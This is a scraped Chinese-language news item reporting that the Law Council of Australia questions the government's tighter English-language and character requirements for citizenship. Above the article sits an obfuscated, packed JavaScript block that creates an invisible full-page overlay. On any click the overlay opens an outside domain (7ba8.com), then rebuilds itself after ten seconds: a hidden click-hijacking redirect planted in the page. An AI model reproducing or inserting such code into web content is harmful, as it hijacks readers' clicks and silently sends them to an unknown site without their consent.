<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>滴答网讯 据报道，澳大利亚法律理事会（The Law Council of Australia）近日对于澳大利亚政府提高入籍英文门槛的做法表示质疑，认为该政策变化缺少合理的依据。
![]()
理事会表示，政府该行为的目的性并不明确，也并非来自于经济和社会数据的充分支持。
理事会主席麦克里奥德（Fiona McLeod）表示，澳大利亚入籍政策设定“合格英文水平”的要求，可能会让个别群体处于劣势。
她认为，入籍英语标准应该降低，尽管呈递给参议院的法案并未详细阐明所要求的英文水平。她说：“法律理事会将质疑（合格英文水平的）定义应该在立法过程中被提出，而非以后。”
麦克里奥德指出，不少改革提议似乎依据不足。其中一项改革就是，赋予澳大利亚移民部长以公众利益为基础，对入籍申请复审的权力，以及以欺诈为由收回入籍资格的权力。
理事会还担心要求少数群体满足“良好行为”测试的规定，以及使用立法程序订立入籍新标准的过程。
联系人：
联系方式： |
|
收藏